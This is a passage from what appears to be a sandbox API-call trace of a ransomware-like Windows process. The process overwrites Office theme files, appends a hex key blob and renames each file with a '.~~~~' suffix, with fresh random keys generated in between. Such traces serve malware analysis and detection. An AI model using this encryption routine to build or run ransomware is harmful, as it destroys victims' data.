	[0122.848] WriteFile (in: hFile=0x138, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0122.851] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0122.852] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.852] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.852] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.852] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.852] CloseHandle (hObject=0x138) returned 1
	[0122.852] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x390c18
	[0122.853] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx.~~~~")) returned 1
	[0122.854] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x390c18 | out: hHeap=0x300000) returned 1
	[0122.854] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0122.854] GetLastError () returned 0x0
	[0122.855] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0122.856] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.856] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.856] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.856] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0122.856] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0122.856] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24284628515) returned 1
	[0122.856] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb2b1f0b0, dwHighDateTime=0x1d60e1e)) 
	[0122.856] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0122.856] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0122.856] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0122.856] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281f218
	[0122.856] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.857] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281f218 | out: hHeap=0x300000) returned 1
	[0122.857] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.857] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.857] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b62c8
	[0122.857] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.857] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0122.857] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b62c8 | out: hHeap=0x300000) returned 1
	[0122.857] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0122.857] GetLastError () returned 0x0
	[0122.857] GetLastError () returned 0x0
	[0122.857] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0122.857] GetLastError () returned 0x0
	[0122.857] GetLastError () returned 0x0
	[0122.860] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffb365, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.860] WriteFile (in: hFile=0x138, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x4c9b, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x1f8fec0*=0x4c9b, lpOverlapped=0x0) returned 1
	[0122.861] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0122.861] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.861] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.862] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.862] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.862] CloseHandle (hObject=0x138) returned 1
	[0122.862] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x391290
	[0122.862] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx.~~~~")) returned 1
	[0122.863] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x391290 | out: hHeap=0x300000) returned 1
	[0122.863] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0122.863] GetLastError () returned 0x0
	[0122.864] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0122.866] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.866] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.866] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.866] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0122.866] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0122.866] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24285620800) returned 1
	[0122.866] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb2b45210, dwHighDateTime=0x1d60e1e)) 
	[0122.866] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0122.866] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0122.866] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0122.866] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281f250
	[0122.866] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.867] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281f250 | out: hHeap=0x300000) returned 1
	[0122.867] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.867] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.867] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b62c8
	[0122.867] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.867] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0122.867] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b62c8 | out: hHeap=0x300000) returned 1
	[0122.867] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0122.867] GetLastError () returned 0x0
	[0122.867] GetLastError () returned 0x0
	[0122.867] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0122.867] GetLastError () returned 0x0
	[0122.868] GetLastError () returned 0x0
	[0122.870] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffff8608, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.871] WriteFile (in: hFile=0x138, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x79f8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x1f8fec0*=0x79f8, lpOverlapped=0x0) returned 1
	[0122.872] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0122.872] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.872] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.872] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.872] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.873] CloseHandle (hObject=0x138) returned 1
	[0122.873] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x391348
	[0122.873] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx.~~~~")) returned 1
	[0122.874] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x391348 | out: hHeap=0x300000) returned 1
	[0122.874] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0122.874] GetLastError () returned 0x0
	[0122.875] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0122.876] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.876] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.876] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.876] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0122.876] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0122.876] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24286600944) returned 1
	[0122.876] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb2b6b370, dwHighDateTime=0x1d60e1e)) 
	[0122.876] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0122.876] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0122.876] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0122.876] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281f288
	[0122.876] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.876] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281f288 | out: hHeap=0x300000) returned 1
	[0122.876] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.876] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.876] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b62c8
	[0122.876] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.876] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0122.876] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b62c8 | out: hHeap=0x300000) returned 1
	[0122.877] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0122.877] GetLastError () returned 0x0
	[0122.877] GetLastError () returned 0x0
	[0122.877] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0122.877] GetLastError () returned 0x0
	[0122.877] GetLastError () returned 0x0
	[0122.972] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.972] WriteFile (in: hFile=0x138, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0122.974] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0122.977] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.977] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.110] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.110] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.111] CloseHandle (hObject=0x138) returned 1
	[0123.111] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x2928140
	[0123.111] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx.~~~~")) returned 1
	[0123.112] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2928140 | out: hHeap=0x300000) returned 1
	[0123.112] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0123.112] GetLastError () returned 0x0
	[0123.122] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x2942f50) returned 1
	[0123.123] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0123.123] CryptReleaseContext (hProv=0x2942f50, dwFlags=0x0) returned 1
	[0123.123] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0123.123] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0123.123] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0123.123] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24311314370) returned 1
	[0123.123] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb2da6810, dwHighDateTime=0x1d60e1e)) 
	[0123.123] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0123.123] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0123.123] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0123.123] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281f368
	[0123.123] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.124] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281f368 | out: hHeap=0x300000) returned 1
	[0123.124] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.124] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.124] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b62c8
	[0123.124] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.124] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0123.124] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b62c8 | out: hHeap=0x300000) returned 1
	[0123.124] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0123.124] GetLastError () returned 0x0
	[0123.124] GetLastError () returned 0x0
	[0123.124] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0123.124] GetLastError () returned 0x0
	[0123.124] GetLastError () returned 0x0
	[0123.144] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff1f1, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.145] WriteFile (in: hFile=0x11c, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0xe0f, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x1f8fec0*=0xe0f, lpOverlapped=0x0) returned 1
	[0123.146] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0123.146] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.146] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.146] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.146] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.146] CloseHandle (hObject=0x11c) returned 1
	[0123.147] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x390aa8
	[0123.147] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Clarity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\clarity.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Clarity.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\clarity.xml.~~~~")) returned 1
	[0123.148] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x390aa8 | out: hHeap=0x300000) returned 1
	[0123.148] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0123.148] GetLastError () returned 0x0
	[0123.162] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x2942f50) returned 1
	[0123.177] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0123.177] CryptReleaseContext (hProv=0x2942f50, dwFlags=0x0) returned 1
	[0123.177] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0123.177] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0123.177] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0123.177] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24316692818) returned 1
	[0123.177] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb2e3ed90, dwHighDateTime=0x1d60e1e)) 
	[0123.177] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0123.177] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0123.177] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0123.177] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281f448
	[0123.177] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.177] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281f448 | out: hHeap=0x300000) returned 1
	[0123.177] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.177] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.177] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b7480
	[0123.177] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.178] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0123.178] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7480 | out: hHeap=0x300000) returned 1
	[0123.178] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0123.178] GetLastError () returned 0x0
	[0123.178] GetLastError () returned 0x0
